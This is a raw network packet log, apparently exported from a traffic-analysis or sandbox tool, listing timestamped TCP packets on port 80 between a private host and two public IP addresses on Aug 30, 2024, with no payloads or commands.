Aug 30, 2024 03:17:08.341054916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341054916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341061115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341077089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341082096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341084003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341094017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341099024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341101885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341121912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341126919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341130018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341130018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341137886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341149092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341155052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341160059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341165066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341166973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341180086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341202021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341226101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346424103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346431017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346442938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346528053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346566916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346580029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346585989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346590042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346626043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346626043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346762896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346767902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346779108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346786976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346805096 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346815109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346816063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346822023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346842051 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346879005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346879005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.346982002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.346992016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347003937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347008944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347090960 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347110033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347153902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347158909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347170115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347178936 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347203970 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347439051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347443104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347454071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347497940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347676039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347681999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347692013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347698927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347702980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347708941 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347717047 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347745895 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347758055 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347848892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347855091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347866058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347872019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347877979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.347910881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347910881 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.347932100 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.348026037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.348031044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.348104000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.348850965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348856926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348866940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348905087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.348939896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348946095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348957062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348963022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.348993063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349029064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349035978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349047899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349052906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349059105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349064112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349076986 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349092007 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349109888 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349208117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349215031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349225998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349234104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349248886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349255085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349263906 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349271059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349276066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349282026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349294901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349301100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349318981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349354982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349360943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349371910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349379063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349385023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349397898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349409103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349420071 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349701881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349711895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349716902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349721909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349750042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349766016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349894047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349946976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349952936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349962950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.349967003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.349989891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.350012064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.350275993 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350512981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350517035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350527048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350584984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.350600958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350661039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350665092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350675106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350712061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.350765944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350801945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350806952 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350820065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350825071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350867033 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.350904942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350918055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350933075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350938082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350949049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350953102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350959063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350970030 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.350974083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.350974083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351000071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351042986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351048946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351059914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351064920 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351069927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351075888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351088047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351099968 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351099968 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351126909 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351177931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351182938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351193905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351198912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351210117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351222038 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351246119 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351294994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351300955 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351305962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351311922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351316929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351320982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351326942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351340055 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351355076 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.351382017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351670027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351675034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351696968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351701975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351706982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351716995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351720095 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351723909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351731062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351737022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351746082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351761103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351780891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351917028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351922989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351934910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351939917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351967096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.351969957 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.351972103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351978064 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351983070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351989031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.351999998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352005959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352010965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352014065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.352020979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352042913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352042913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352097988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352104902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352153063 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352237940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352245092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352255106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352260113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352264881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352269888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352282047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352288961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352293968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352299929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352303982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352303982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352303982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352310896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352324963 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352344990 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352528095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352540016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352545977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352550983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352555990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352592945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352592945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352674961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352679014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352689028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352694035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352706909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352720022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352725983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352730036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352730989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.352731943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.352736950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352744102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352745056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.352751970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352778912 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.352798939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352798939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352905989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352911949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352916956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352921009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352946043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352951050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352962017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352962971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352962971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352966070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352971077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352982044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352988005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352991104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.352993965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.352998972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353004932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.353004932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353032112 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.353032112 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.353071928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353077888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353082895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353087902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353092909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353099108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353107929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.353132010 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.353132010 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.353185892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.359915972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.359921932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.359932899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.359967947 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360017061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360022068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360033035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360038996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360069036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360080957 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360255957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360265970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360271931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360277891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360287905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360294104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360296965 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360300064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360327005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360343933 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360486984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360492945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360502958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360539913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360620022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360625982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360636950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360641956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360646009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360676050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360690117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.360959053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360964060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.360975027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361012936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.361016035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361022949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361027956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361032963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361059904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.361145973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361151934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361162901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361169100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361196041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.361206055 CEST	49737	80	192.168.2.4	176.113.115.33
